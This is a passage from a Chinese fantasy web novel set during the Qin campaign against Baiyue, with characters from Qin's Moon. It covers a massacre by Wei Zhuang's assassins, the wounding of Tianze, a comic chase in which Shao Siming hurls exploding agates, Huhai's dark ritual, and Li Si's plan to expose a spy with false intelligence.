有百越士兵误会了,惊恐地高喊:“别打!我是自己人——!”
可机关尸傀根本听不懂,也不在乎。
那张腐烂的嘴巴猛地咬下!
半个头颅瞬间被撕扯下来,鲜血和脑浆喷溅在同伴脸上!!
一具机关尸傀被火把点燃,皮肉焦黑剥落,但它依旧毫不在意,浑身冒着火光冲入人群。
烈焰将周围士兵点燃,他们嘶声惨叫,场面犹如地狱!!
另一具机关尸傀双臂力大无穷,直接撕开一顶营帐,把躲藏其中的士卒连人带床卷出来。
士卒们拼命尖叫,挥刀乱砍!
可刀刃劈在机关尸傀的铁质关节上,只溅出火花!
下一刻,他们的胸膛被生生抓穿!
心脏被扯出后随手丢在泥地里,被脚下踩得稀烂。
空气中,很快弥漫开血腥与焦臭的混合气味。
四处都是被肢解的残肢碎肉。
营地的土地在血泊中变得泥泞不堪。
惨叫、骨裂声、撕扯声交织,活人被硬生生挤成血雾。
死者的眼睛仍瞪大,满是绝望与困惑!
百越士卒根本无法分辨敌友,只看见自己人的脸庞被那双猩红的眼睛映照得狰狞恐怖。
有人吓得崩溃大喊:“这是鬼!这是鬼啊!!”
但下一刻就被粗硬的手臂扭断脖子,声音戛然而止!
整个营地,仿佛坠入了一场无法醒来的血色噩梦。
“怎么回事?!自己人打起来了?”
“疯了吗!啊——!”
营地瞬间大乱。
百越士兵根本没想到会从背后遭遇“自己人”的袭击,一时间被打得措手不及,死伤惨重。
“嘶嘶嘶——”
赤练扭着腰肢,红裙如血,行走在混乱的营地中。
她腕间的毒蛇昂首嘶鸣!
周围阴影里、草丛中、甚至营帐内,无数条毒蛇应召而出,疯狂地缠咬那些惊慌失措的百越士兵。
“别慌!结阵!是秦…”
一名百越头目试图稳住局势,话未说完,一道白影掠过,白凤的羽刃已轻巧地割开了他的喉咙!
隐蝠在人群中穿梭,专挑军官下手,每一次扑击都带起一蓬血雨和惨叫。
他的蝠血术让伤口极难愈合,中者往往在痛苦中流血而亡。
卫庄则并未急于出手,他冷漠地注视着这场由内而外的**。
鲨齿剑微微出鞘,等待着值得它饮血的目标!
身后。
逆流沙的**们如同最致命的**,悄无声息地渗透、破坏、杀戮。
白凤的羽刃在黑暗中划出冷光,每一次掠过,必定有一名百越军官的喉咙被精准割断,血线在空中勾勒出冰冷的弧度。
赤练的纤手轻抚,腕间的毒蛇便顺势游走,钻入士卒的衣袖与盔甲缝隙。
片刻之后,整列队伍无声倒地,眼白翻起,脸色青紫!
隐蝠潜行于营帐之间,偶尔一声怪笑,便伴随着营火熄灭、惨叫戛然而止!
等人们察觉时,那片区域只剩下满地血泊,尸体横陈!
卫庄立于谷口,鲨齿剑半出鞘,剑锋映着火光。
他不必多言,**们自有默契。
逆流沙的队伍没有喧嚣,没有嘶吼,只有冷冽的剑鸣、羽刃的破空声,以及毒蛇的嘶嘶低吟!!!
百越营地中喊杀四起!
却没有形成丝毫有效的抵抗。
每一名试图聚拢人手的头目都会在瞬息之间被精准点杀。
像是被无形之手掐灭的火苗!!
短短片刻,万蛇谷的喧嚣被肃杀取代。
风声拂过,血雾未散。
整个谷地仿佛被一只无形的手掐住咽喉,只剩下冷硬、森然的死寂!<
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br>逆流沙行走过血泊,身影与阴影融为一体。
百越营地,已成真正的蛇窟地狱!!!
谷内的天泽根本不会想到,他自以为还稳固的老巢,正从内部被迅速掏空!
与此同时。
蛇谷祭坛最深处。
地心火精的光芒已将天泽大半个身躯映照得如同透明琉璃。
血管经脉中赤红能量奔腾如熔岩!
但外界传来的越来越近的厮杀声和**声,却如同恼人的苍蝇,不断干扰着他的吸收。
“外面…何事喧哗?!”
天泽的声音因能量充斥而带着重音,每一个字都震得祭坛嗡嗡作响。
一名身披五彩羽衣、手持蛇头杖的老妪——
百越灵蛇巫祝匍匐在地,声音发颤!
“禀主上!谷内…谷内出现大批敌人!似有内应叛乱,还有…还有高手潜入!”
旁边一位肌肉虬结,皮肤如覆盖着岩石般的石蛮长老怒吼道:
“定是秦狗的调虎离山之计!”
“主上安心炼化,待老夫去撕了他们!!!”
另一位笼罩在黑袍中,周身漂浮着幽绿鬼火的冥火祭司发出沙哑笑声。
“些许宵小,何劳主上费心。”
“正好用他们的魂魄,给火精添份养料!”
天泽周身锁链因愤怒而狂舞:“驱尸魔他们呢?!都死光了吗?!”
“几位大人皆在前线御敌…”
灵蛇巫祝连忙道。
“废物!”
天泽咆哮,火精能量一阵不稳,险些反噬。
“你们去!给本君拖住!无论如何,再给本君争取半日时间!”
“遵命!”
三位百越古老存在同时领命,化作三道流光冲出祭坛!
万蛇谷腹地。
卫庄正一剑将最后一具负隅顽抗的金甲尸傀连人带甲劈成两半!!
鲨齿剑上竟未沾半点血污。
突然,他白发微动,剑尖斜指侧方:“终于来了几个像样的。”
话音未落,地面猛地隆起!
石蛮长老如同炮弹般冲出,一拳裹挟着万钧之力砸向卫庄面门!
“秦狗受死!”
卫庄不闪不避,鲨齿剑看似随意地一撩一引。
“铛!”
巨响声中。
石蛮长老只觉一股诡异劲力透体而入,竟将他这足以开山裂石的一拳引偏,重重砸在身旁岩壁上,砸出个巨大窟窿!!
碎石飞溅中,卫庄的身影如鬼魅般贴近,剑鞘无声无息点向他肋下要穴。
“小心他的剑!”
灵蛇巫祝尖叫,蛇头杖挥出,两条能量毒**嘶吼着缠向卫庄。
同时,冥火祭司袖袍鼓荡,数十团幽绿鬼火无声罩下,封死卫庄所有退路。
卫庄眼中终于闪过一丝嗜血的兴奋。
鲨齿剑终于彻底出鞘!!
一道凄艳的寒光如同撕裂黑夜的闪电!
“横贯四方!”
剑光并非一道,而是瞬间爆开的无数道!!
毒**被绞碎!
鬼火被斩灭!
石蛮长老痛哼着暴退,胸前岩石般的皮肤上竟出现一道深可见骨的剑痕!
冥火祭司怪叫着催动更多鬼火,却见卫庄根本无视火焰灼烧,人剑合一,直接穿透火幕,鲨齿剑直刺他咽喉!
“噗——!”
剑尖透颈而过!
冥火祭司眼中的鬼火瞬间熄灭。
难以置信地低头看着穿喉而过的利剑。
卫庄抽剑,甩血,目光冷冷转向剩下的两人:“下一个。”
灵蛇巫祝和石蛮长老脸色煞白!!
他们终于明白,眼前这个白发男人,根本不是他们能“拖住”的对手。
这是来索命的阎罗!
第215章 吃醋的女人,才是最可怕的!
而祭坛深处,天泽正到了吸收火精最关键的时刻。
只见他周身能量沸腾如煮。
眼看就要彻底融合那一丝本源火精!
然而,就在能量运转至巅峰,即将圆满贯通的刹那——
异变陡生!
天泽身后那片本应空无一物的阴影,如同活物般蠕动起来!
一道完全融入黑暗的身影无声无息地浮现,手中一柄奇特的短刃没有丝毫反光。
如同毒蛇吐信,精准无比地刺向天泽后心能量运转最核心的节点!!!
快!
准!
狠!
这一击的时机妙到巅毫!
正是天泽旧力刚尽,新力未生,全身心沉浸在吸收之中,防御最薄弱的瞬间!
“噗!”
短刃虽被天泽周身自动护体的火精能量阻了半分。
未能直接刺入心脏。
却依旧狠狠扎进了他的后心偏右处!!!
狂暴的火精能量瞬间失控反噬,如同决堤的洪流在他体内疯狂冲撞!!
“呃啊——!!!”
天泽发出一声痛苦与暴怒到极点的嘶吼,猛地喷出一大口滚烫的夹杂着内脏碎片的鲜血。
他周身澎湃的能量瞬间紊乱暴走。
将他大半经脉灼伤。
气息以肉眼可见的速度萎靡下去!
虽然依旧强横,却远不如方才那般令人窒息。
那黑影一击得手,竟不管成功与否,毫不停留,身形如同融化般再次没入阴影,消失得无影无踪。
此人,正是墨玉麒麟!
“主上!!”
在场的**们根本没想到有人能瞒过所有感知,潜伏到如此近的距离!
可就在他们心神剧震的这一刻——
“嗤!”
一道凄艳的剑光如同死神的叹息!
只见灵蛇巫祝与石蛮长老狼狈横飞进洞口,重重撞在祭坛石壁上!
两人未及挣扎起身,剑光已再次降临。
“横贯八方!”
剑光纵横交错,冷冽无情。
灵蛇巫祝的胸膛被撕裂,石蛮长老粗壮如岩的身躯被切割成无数碎块!
血雾弥漫中,二人连哀嚎都没能发出,便彻底殒命!
**们见状,终于震怒嘶吼,齐齐杀来!
他们中有修蛇骨秘法的魁梧武者,挥动骨刀如电闪雷鸣。
有操控邪蛊的女巫,十数只毒蛊化为黑云扑向卫庄。
更有披挂鳞甲的蛮士,手持巨戟,气势如崩山裂海!
但在卫庄眼中,他们不过是待宰的羔羊!!!
剑出如风,光影交织!
一瞬间,魁梧武者的头颅高高飞起!
毒蛊女巫的蛊虫尚未来得及咬合,便被剑气绞成齑粉,身体被剑光腰斩。
蛮士怒吼着举戟,却连卫庄衣角都没碰到,整个人已被撕成两半,倒地时双目圆睁。
顷刻之间!
**们尽数伏诛,尸骨横陈,鲜血汇流成渠!
卫庄剑光一收,冷眼望着这一片尸山血海,脸上没有丝毫波澜。
就在这时!
剧烈的能量波动骤然席卷祭坛!
天泽的咆哮声震碎虚空:“秦狗!本君要你死!!!”
他目眦欲裂,蛇瞳血红,体内翻涌的火毒令锁链如群蛇狂舞,抽击声宛如雷霆。
锁链裹挟着炽烈的火精之力,猛然朝卫庄轰击而下,祭坛在巨力下震得摇摇欲坠!!!
空气炽热翻滚,杀机森冷至极。
锁链与鲨齿剑疯狂碰撞,火星四溅!!
若是全盛时期,天泽或许能与卫庄一战。
但此刻他身受重创,火精反噬不断侵蚀,每一次碰撞都让他五脏六腑如同刀绞!
数十名死忠的百越护卫拼死冲上来阻挡卫庄。
“滚开!”
卫庄剑气爆发,如同绞肉机般将冲上来的人尽数斩杀,脚步却丝毫未停!
天泽又是一口血喷出!
他看着身边最后几名高手也被卫庄如同砍瓜切菜般斩杀,终于意识到大势已去。
“走!”
他怨毒无比地瞪了卫庄一眼,嘶吼着下令。
剩余的心腹拼死护着他,撞碎祭坛后方的石壁,狼狈不堪地逃入一条隐秘通道。
卫庄并未立刻追击。
他只是站在原地,鲨齿剑斜指地面,看着天泽消失的方向,冷冷地吐出两个字:
“废物。”
祭坛内,尸横遍地,血流成河……
逆流沙的杀戮,高效而彻底。
……
子时。
南疆大营灯火通明,虽疲惫,却洋溢着亢奋的气氛。
赢子夜独坐帐中,指尖正划过沙盘上已大半插上黑色秦旗的区域。
帐帘
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无声掀起,卫庄带着一身未散的血腥气踏入,鲨齿剑鞘上凝结着暗红的冰霜。
“天泽重创,遁入瘴林,我让白凤去了。”
他声音冷硬,言简意赅,仿佛只是汇报一件微不足道的小事。
赢子夜黑眸微抬:“做得还算干净。”
几乎是同时,传令兵接踵而至,声音因激动而嘶哑:
“报——!蒙毅将军已肃清正面战场,主力正向蛇谷合围!”
“报——!王贲将军水师突破漓江最后防线,前锋战船已与蒙毅将军汇合!”
“报——!钟离昧将军箭杀驱尸魔,樊哙将军阵斩百毒王,周勃、灌婴将军已将无双鬼等残部逼入死地!”
捷报如潮,整个百越战局已呈现碾压之势!!!
赢子夜颔首,目光却落向沙盘上唯一一处尚无消息传回的区域。
那是少司命与焰灵姬交锋的方向。
他取过一枚玉符,灵力微吐:“夫人,情况如何?”
玉符那头沉默了片刻,才传来少司命依旧清冷,却似乎比平日多了一丝…咬牙切齿意味的声音。
“无事,我定会让她…好看。”
话音刚落——
“轰!!!”
一声远比之前任何一次机关兽自爆都要恐怖,蕴含着极致精纯火灵之力的**声,猛地从玉符那头传来!!
震得赢子夜手中的玉符都嗡嗡作响。
甚至连身在大营的众将,都隐约感觉到脚下地面传来一丝微不可察的震动!
玉符那边的联系也随之戛然中断。
赢子夜握着玉符,罕见地愣了一瞬。
他脑海中瞬间闪过少司命平日清冷如霜的模样。
又想起在沛县时,焰灵姬和魅姬那妖娆挑衅的姿态,以及……
少司命当时无声捏碎的杯盏。
卫庄抱臂旁观,嘴角似乎勾起一丝极淡的、看热闹的弧度。
赢子夜抬手,略显无奈地揉了揉眉心。
向来算无遗策,冷静从容的他,此刻脸上竟露出一丝罕见的,哭笑不得的汗颜。
“罢了…”
他放下玉符,语气有些微妙,“由她去吧。”
想来,自家这位夫人,对那总喜欢卖弄风骚的百越妖女,积怨已深。
今日这醋意,怕是借着火雨玛瑙,结结实实地炸出去了……
第216章 你们夫妻,都是疯子吗?
密林深处。
两道身影一前一后如流星般飞掠。
前方的焰灵姬红发凌乱,原本妖娆的紫衫被烧出好几个焦黑的破洞,露出底下微微泛红的肌肤,显得颇为狼狈。
她身后,少司命紫衣飘飘,足尖轻点树梢,紧追不舍。
平日里清冷的眸子此刻却燃着两簇显而易见的怒火!!
“疯子!你们夫妻俩都是疯子!”
焰灵姬险之又险地侧身,躲过一道贴面削过的锋利叶片,忍不住回头骂了一句。
她刚得地心火精,实力本在少司命之上。
但奈何对方根本不按常理出牌!
只见少司命面无表情地再次从袖中掏出一颗龙眼大小,赤光流转的火雨玛瑙。
想也不想,玉指一捻——
“轰!!!”
又一场恐怖的能量风暴在她前方炸开!
灼热的气浪夹杂着破碎的林木劈头盖脸砸来!!!
焰灵姬眼角被溅起的火光灼出血丝,长发瞬间卷曲焦糊,带着刺鼻的焦味扑面而来。
她虽然能吸收火灵之力,但这种瞬间爆发,毫无缓冲的狂暴能量,就像逼人一口吞下滚烫的烙铁,根本来不及转化。
只觉得五脏六腑像是被烈火扯成了两半!
喉咙腥甜,一口热血直接喷出!!!
她只能狼狈不堪地再次催动身法急速闪避。
然而,气血翻涌,脚步一个踉跄,肩头被炸飞的焦木擦中。
大片衣袖瞬间化为飞灰!
白皙的手臂被火浪烫出触目惊心的血痕。
背后,又一股余波席卷而来,像是要将她整个人卷入火海!
焰灵姬几乎是凭借本能,硬生生将地心火精的能量调动出来护住心口,这才堪堪挡下最致命的一击。
可她胸膛依旧起伏剧烈,气息紊乱,体内经脉被狂暴火灵搅得一片狼藉。
妖娆的面容此刻因剧痛而惨白,额角冷汗顺着鬓角直流,唇角鲜血蜿蜒而下。
眼中第一次浮现出真正的惶怒与惊惧!
“疯子…彻头彻尾的疯子…”
她心头忍不住发寒。
对方根本不讲究什么术法与技巧,仿佛宁愿把自己都同归于尽,也要用这种粗暴到极点的方式把她逼死!
这种战斗,简直比毒蛊更让她心悸。
“暴殄天物!天杀的赢子夜!就这么教你用宝贝的?!”
焰灵姬心疼得直抽抽。
那都是足以让天下修士打破头的天地奇珍啊!
少司命根本不答,又是一颗玛瑙取出。
她似乎认准了这条奢侈到极致的战术。
紫眸死死锁住焰灵姬,大有不把对方炸成飞灰决不罢休的架势!
焰灵姬被追得火冒三丈,却毫无办法。
她尝试反击,但少司命的万**花流守得滴水不漏。
偶尔欺近,对方就直接拿出玛瑙作势要同归于尽,逼得她只能后退!
就在焰灵姬考虑是否要拼着重伤先硬抗一击拿下对方时——
“姐姐~看这边~”
魅姬的娇笑声突然从侧方密林中传来,伴随着一股奇异的精神波动直冲少司命!!
少司命身形猛地一滞,眼神出现了极其短暂的恍惚。
虽然她立刻紫芒一闪恢复了清明,但这一刹那的失神,已经足够!
焰灵姬岂会错过这个机会,红影一闪,瞬间拉开数十丈距离,与趁机现身的魅姬汇合。
“走!”
焰灵姬咬牙切齿地瞪了少司命一眼,毫不犹豫地转身遁走。
再待下去,她怕自己真被那个败家女人用玛瑙活活砸死!
少司命看着两人消失的方向,没有再去追。
她缓缓落在一根树梢上,抿着唇,周身悬浮的叶片因主人的情绪而剧烈震颤着,发出嗡嗡的轻鸣。
她低头看了看掌心还剩的两颗火雨玛瑙,似乎有些不甘地跺了跺脚…虽然动作极其轻微。
最终,气鼓鼓地一甩紫袖,转身化作一道流光离去。
另一边,焰灵姬直到飞出老远,才心有余悸地放缓速度。
“那女人…简直不可理喻!!!”
她揉着还在发闷的胸口。
魅姬娇笑着凑近:“姐姐息怒~等找到主上,融合了火精,再找她算账不迟~”
焰灵姬冷哼一声,不再多言,只是加速朝着天泽可能撤退的方向追去。
这笔用玛瑙砸人的仇,她记下了!
……
中军帐内。
赢子夜正听着各部捷报,帐帘忽被一股带着硝烟与寒意的风掀起。
少司命无声地走入,紫衣下摆沾着些许焦灰。
平日里清冷无波的脸上,此刻虽无太多表情。
但那微微抿紧的唇线和比平时更冷三分的眸光,无一不透露着“我很不高兴”的气息。
赢子夜抬眸看她一眼,又瞥见她空荡荡的双手,心中便已明了。
他放下手中军报,唇角微不可察地弯了一下,语气如常道:“回来了?”
少司命没应声,只走到他身侧站定,目光落在沙盘上,周身气压却更低了。
赢子夜自然地将一杯刚烫好的热酒推到她面前:“无妨,跳梁小丑,迟早擒获。”
他顿了顿,语气平淡地补充,“下次,给你备双份的‘**’。”
少司命瞥了那酒杯一眼,又看了看赢子夜,周身那生人勿近的寒意总算消散了些许,虽仍不语,却微微颔首。
恰逢此时。
赵弋苍、蒙毅等将领齐至帐内听令。
赢子夜目光转冷,指尖重重落在沙盘上百越腹地的各个部落标记上。
“天泽已废,百越脊梁已断,接下来,该犁庭扫穴了。”
“蒙毅、王贲,你二人率主力,正面推进,清剿所有负隅顽抗之寨。”
“赵弋苍,领暗河精锐,狙杀各部首领、巫祝,断其传承!”
“钟离昧、韩信、樊哙、王离各部,分进合击,扫荡周边,凡持兵械者,皆可视作顽敌!”
他声音冷冽,每一个字都带着铁
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血杀伐之气:“我要百越之地,自此再无敢反我大秦之部族!”
“诺!”众将轰然领命,战意滔天!!!
……
百越腹地。
阴暗潮湿的溶洞深处。
水滴声敲打着令人窒息的寂静。
天泽靠坐在冰冷的石壁上,脸色苍白如纸,唇边还残留着未干的血迹。
他每一次呼吸都带着撕裂般的痛楚,体内火精反噬留下的创伤远比看上去更严重,经脉如同被烙铁犁过。
脚步声由远及近,焰灵姬和魅姬的身影出现在洞口。
当她们看清天泽的状况时,脚步都不由得一滞!
焰灵姬眼中闪过难以掩饰的惊愕,她从未见过如此狼狈虚弱的天泽。
魅姬更是下意识地屏住了呼吸,不敢出声。
天泽缓缓抬起头,蛇瞳中燃烧着压抑的怒火与**,声音嘶哑得如同砂纸摩擦。
“前线…如何了?”
焰灵姬抿了抿唇,上前一步,尽可能用平静的语气汇报。
“尸傀大军…全军覆没。”
“驱尸魔、百毒王战死,无双鬼下落不明。”
“各宗门…损失惨重!”
“秦军主力正在清剿各部族,我们…败了!”
每说一句,天泽的脸色就阴沉一分。
当听到“尸傀大军全军覆没”时,他猛地攥紧了手,指节因用力而发白,锁链发出刺耳的摩擦声。
但他接下来的反应,却出乎焰灵姬的预料。
他并没有为耗费心血炼制的尸傀大军覆灭而暴怒,也没有为麾下高手的陨落而痛惜。
他猛地咳出一口瘀血,抬起头,眼中竟是一种近乎扭曲的,掺杂着痛心与荒谬的愤怒!
“火雨玛瑙…赢子夜…他就真的…拿它们当石头一样炸?!!”
那语气,仿佛败军之辱尚且可以忍受。
但这种奢侈到丧心病狂的败家行为,才真正戳到了他的痛处!!
他为了地心火精和火雨玛瑙费尽心机。
而对方却将他梦寐以求的宝物如此挥霍!
焰灵姬嘴角抽搐了一下,感同身受地咬牙:“何止是炸…还有他那女人,追着我炸了一路!”
她想起少司命那面无表情扔宝贝的模样就肝疼。
天泽喘着粗气,胸口剧烈起伏,显然气得不轻。
片刻后,他强行压下翻涌的气血和怒火,蛇瞳中重新凝聚起冰冷怨毒的光芒。
“走…”
他挣扎着想要站起,焰灵姬连忙上前扶住他。
“你的伤…”
“回祖地!”
天泽打断她,声音虽然虚弱,却带着不容置疑的决绝,“去禁地血池!只要让本君彻底吸收火精,修复伤势…”
他眼中迸发出骇人的仇恨光芒!
“今日之辱,必让赢子夜…百倍偿还!!!”
他回头最后望了一眼来时的方向,仿佛能穿透岩壁,看到那个让他恨之入骨的身影。
“赢子夜…你最好祈祷,别让本君功成出关…”
第217章 决战时刻已至!
咸阳。
十八公子府。
密室深处,血腥味与某种古老的香料味混合在一起,令人作呕。
胡亥痴迷地抚摸着影狩们千辛万苦带回的几颗火雨玛瑙,感受着其中磅礴而暴烈的能量。
苍白的面容因兴奋而泛起病态的红晕。
“好…好宝贝!不愧是能引来天泽和六哥争夺的东西!”
尖细的笑声在密室里回荡,指尖被玛瑙的能量灼得发红却毫不在意。
胡亥猛地收起笑容,手指缓缓摩挲着掌心的火雨玛瑙,目光冷冷落在跪在地上,伤痕累累的影狩统领身上。
“接下来,我要项羽的踪迹,以及和苍龙七宿有关的韩国宝盒的下落。”
声音平静,却不容置疑!
“传令所有影狩,搜遍天下,挖地三尺,也要给本公子找出来!!!”
他顿了顿,眸底的病态兴奋与冷酷交织成一种近乎疯狂的坚决!
“记住,不容有失。”
他神经质地啃咬着指甲,眼中闪烁着疯狂的野心。
接下来,只要凑齐七国宝盒,打开那个秘密……
什么父皇,什么扶苏赢子夜,什么天泽……
都将匍匐在本公子脚下!
自己,才是天命所归!!!
他不再理会跪地的下属,转身走到密室中央。
那里早已用鲜血和稀有金属绘制好一座复杂诡异的古老阵法。
阵纹扭曲如同活物,散发着不祥的气息。
血色线条扭曲蜿蜒,如同一张正在蠕动的巨网。
胡亥紧紧握着手中刚到手的几颗火雨玛瑙与那一小块地心火精碎片,呼吸急促得仿佛要把它们吞进肺腑!
“终于…都到手了!”
他的声音因过度的兴奋而沙哑,眼中血丝密布。
他缓缓走向阵法中央,指尖颤抖着,将火雨玛瑙一颗颗放入阵眼。
鲜红的光芒顿时如火蛇般沿着阵纹窜动开来!
当他将那块幽暗的火精碎片安放在阵心时,整个阵法仿佛被唤醒,骤然发出低沉的嗡鸣!
地面微微震动,符文光芒一明一灭,仿佛在贪婪地呼吸!!
胡亥张开双臂,狂**笑了!
笑声在狭窄的密室中回荡,带着歇斯底里的疯狂!!
“哈哈哈!天命在我!赢子夜,你能挥霍的,我也能吞噬!”
“我才是天下唯一的主人!!!”
话音一落,胡亥当即赤足踏入阵眼,双手猛地按在玛瑙与火精碎片之上!
“呃啊啊啊——!!!”
凄厉得不似人声的惨叫瞬间爆发!
狂暴无匹的能量如同决堤的洪流,疯狂涌入他脆弱的经脉!
他的皮肤瞬间龟裂,鲜血渗出又被高温蒸发,整个人如同被扔进炼狱熔炉,五官因极致的痛苦而扭曲变形!
这种强行吞噬,远比天泽那种循序渐进的方式痛苦千万倍,凶险千万倍!!!
但胡亥眼中却闪烁着骇人的偏执与疯狂。
他死死咬着牙,甚至咬碎了牙齿,硬生生扛住了这足以让常人瞬间爆体而亡的冲击!!!
他体内某种阴寒的,源自邪门一脉的诡异**急速运转。
竟以一种近乎自毁的方式,强行容纳、撕扯、消化着这恐怖的能量!!
吸收的速度,竟真的比天泽还要快上几分!
虽然他的身体在肉眼可见地崩坏。
气息也变得极其不稳定,时而暴涨时而萎靡。
但能量,确确实实在被他疯狂吸纳!
“力量…更多的力量!”
他在痛苦的间隙发出嘶哑的咆哮,眼中只剩下对绝对力量的贪婪渴望。
密室之外。
影狩统领听着里面传来的非人惨嚎和能量**的轰鸣,忍不住颤抖了一下,迅速低头离去,不敢多听一刻。
……
是时!
主战场已化为焦土。
蒙毅的重甲兵团如同不可阻挡的钢铁洪流,稳步向前推进!
巨盾如山,长矛如林,**箭如雨,将百越各部族零星的抵抗一次次碾碎。
战旗所向,顽抗的寨垒皆被焚毁,归降者被迅速整编看押。
战线,以肉眼可见的速度向着百越腹地延伸!!
中军大帐内。
赢子夜正听着蒙毅传来的推进战报,一名风尘仆仆、带着韩信特有令牌的传令兵疾奔入内,单膝跪地。
“禀公子!韩将军已率本部精骑,深入腹地三百里,沿途破七寨,焚三处粮草,现踪迹已隐!!!”
赢子夜黑眸中精光一闪:“他下一步欲往何处?”
传令兵低头:“将军只让属下带回四字——‘直破王庭’!”
帐内诸将闻言,呼吸皆是一窒!!!
百越王庭!
那是百越人经营多年的老巢,更是百越各部族的精神象征,防御必然最为森严!
赢子夜指尖猛地点在沙盘上代表百越王庭的区域,没有任何犹豫,一道道命令如疾风骤雨般传出!
“传令蒙毅,主力攻势不得停歇,给本公子打出雷霆之势,让所有百越人都以为我大军要平推一切!”
“命樊哙、钟离昧、周勃、灌婴所部!”
他手指划过王庭周围几个重要据点:“放弃清剿残敌,即刻转向,佯攻这些关隘要道!”
“声势给本公子造足,要让百越人觉得我军欲分兵合围!”
“通知王贲,水师沿漓江支流疾进,作出迂回包抄王庭后路的姿态!”
他目光扫过帐中诸将,最后落在那传令兵身上:“告诉韩信,本公子予他临机专断之权!”
“樊哙、钟离昧等部,乃至南下助战的所有百家高手,皆可由他暗中调动!”
“三日之内,我要看到王庭的烽火!!!”
“诺!”
传令兵领命,如旋风般冲出大帐。
赢子夜再次看向侍立一旁的暗河统领及百家代表。
“诸位,最后一场盛宴了。”
“请率各家精锐,潜入百越腹地!”
“你们的任务只有一个!!”
“截杀所有试图回援王庭的百越高手,刺杀王庭内所有掌权者!”
“我要天泽的王庭,变成一座孤岛,一座坟场!!!”
儒家弟子抚须颔首:“诛除首恶,正合礼法。”
紧接着,法家、兵家、阴阳家们纷纷拱手……
百家高手眼中皆露出锐利光芒,这是攫取功劳与声望的最终时刻。
整个战争机器再次加速运转!
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正面战场攻势更猛,各处偏师佯动迷惑……
而真正的致命尖刀,韩信,已如同幽灵般,携带着汇聚而来的精锐力量,悄无声息地刺向百越的心脏。
王庭之役,决胜时刻已至!
……
百越王庭深处。
这里,并非想象中的蛮荒洞窟,而是一座依山凿石、粗犷却宏伟的巨大宫殿。
骨骼与兽皮装饰的王座上,百越王“狰”正暴怒地咆哮着。
他身形远比天泽更为魁梧,皮肤呈古铜色,布满诡异的靛蓝色战纹。
虬结的肌肉随着他的怒火而贲张,如同一头即将择人而噬的凶兽!
“废物!天泽那个混账!枉费本王予他资源,给他权柄,他就是这么回报本王的?!”
狰的声音如同闷雷,震得殿顶灰尘簌簌落下。
他一把抓过跪在下方瑟瑟发抖的传令兵,竟单手将其拎起!
“十几万尸傀大军!数百年积累的蛊虫!就这么没了?!”
“连秦军的主力都没啃下来?!”
“大…大王息怒…”
一旁的巫祭长老颤声劝慰,“实在是秦军的机关兽…”
“机关兽?!”
狰猛地将传令兵砸向石柱,血肉飞溅!
他赤红着双眼:“那就是一堆铁皮!是天泽无能!是你们无能!”
他喘着粗气,如同困兽般在王座前踱步,每一步都让地面微颤。
“不能再让秦军这么推进了!”
他猛地停下,战纹闪烁着危险的光芒,“山鬼、毒鸠!”
两名气息阴冷的身影如鬼魅般从殿柱阴影中浮现。
一人身形飘忽,仿佛与山林雾气融为一体。
另一人指甲乌黑,周身弥漫着甜腥的死气。
“带着你们的人,给本王钻进山林里去!”
狰低吼着,“利用每一寸瘴气,每一处沼泽,给本王拖住蒙毅的主力!”
“就算用尸体填,也要给本王把秦军的锋芒磨钝!”
“遵命!”两人领命,无声退去。
“还有那些像苍蝇一样四处乱窜的秦军小队!”
狰的目光扫向殿下几名悍将,“犀魁、象力!本王给你们三倍兵力,去!把那些人的头给本王拧下来,挂在寨门口!!!”
两名如同人形凶兽般的巨汉捶胸怒吼!
“碾碎他们!”
最后,狰的目光投向王座旁最幽暗的角落。
那里仿佛空无一物,却传来令人脊背发凉的丝丝声。
“影瘴。”
狰的声音压低,却带着更深的残忍,“该你们‘鬼面’出手了。”
阴影蠕动,隐约可见十几道模糊扭曲的身影。
他们的脸上都戴着刻有不同痛苦表情的木质鬼面。
“去狩猎吧。”
狰咧开嘴,露出森白牙齿,“秦军的将领,千夫长以上……”
“本王要他们的人头,或者…发疯的消息。”
那十几道鬼影微微颔首,如同融入水中的墨迹,悄无声息地消散在殿内。
狰重新坐回王座,抚摸着扶手上镶嵌的骷髅,眼中燃烧着嗜血与暴戾!
“赢子夜…你想玩斩首?本王就让你看看,谁才是这片山林里真正的猎杀者!”
第218章 抛砖引玉!
与此同时。
章台宫内。
龙榻之上,嬴政的身影在十二旒冕冠后显得模糊而威严。
当南方捷报诵毕,言明赢子夜已率军攻入百越腹地,正以摧枯拉朽之势清剿顽敌时,殿内李斯、章邯皆露振奋之色。
“彩。”
嬴政的声音从珠帘后传来,平静无波,却让殿内温度骤降,“李斯。”
“臣在。”
李斯立刻出列躬身,姿态恭谨至极。
“大军远征,粮秣为要!此次后勤补给,若再出纰漏…”
嬴政并未说完,但案几上那杯已然凝结成冰的酒盏,说明了一切。
李斯额头渗出细密冷汗,重重叩首:“臣万死不敢!!!”
“此次粮道绝密,臣已规划新路线,不走灵渠古道,改走漓水支流‘隐龙涧’,虽水路稍险,但极为隐秘,且沿途已加派三重哨卡…”
“不够。”
嬴政打断他,“朕要的是万无一失!”
“章邯,将作少府麾下所有涉粮官吏,全部重新核验。”
“非常时期,可用非常之法。”
“臣…遵旨!!!”李斯和章邯对视一眼,皆是深深俯首。
很快。
二人离开章台宫。
李斯快步追上正欲离去的章邯,低声道:“章将军留步。”
章邯驻足,冷峻的面容上看不出情绪:“丞相有何吩咐?”
李斯将其引至廊柱阴影处,声音压得极低,几乎如同耳语:“陛下旨意,章将军想必已明悉。”
“隐龙涧路线乃绝密,除你我与陛下,绝不可入第四人之耳。”
章邯颔首:“末将明白,黑冰台会确保路线安全。”
“不。”
李斯眼中闪过一丝精光,“我要你‘不小心’让将作少府的人,偶然探查到另一条路线。”
章邯瞳孔微不可察地一缩!
“丞相的意思是…”
“灵渠古道既已暴露,便让它再发挥最后一次余热。”
李斯语气冰冷,“我查到将作少府一个左监最近升迁过快,且与军中某些旧楚将领过往甚密。”
“我要你假借调整漓江防务之名,让他‘意外’获悉,大军粮草将走‘落星滩’旧道。”
落星滩。
正是与隐龙涧截然相反、且更为开阔易行的一条路。
章邯瞬间明了!
这是要以假情报为饵,钓出可能潜伏在后勤系统中的大鱼。
那个左监若真是暗桩,绝不可能放过这等重要情报。
“若他不动?”章邯问。
“若他不动,便算他清白。”
李斯淡淡道,“若他动了…将军知道该怎么做!记住,要人赃并获。”
章邯沉默片刻,重重点头:“知道了,我会处理干净。”
李斯看着章邯离去的高大背影,轻轻整理了一下袍袖。
陛下对百越之战势在必得,任何隐患都必须拔除。
而清理朝堂的蛀虫,与他李斯巩固权位,从来都是不谋而合……
……
此时此刻。
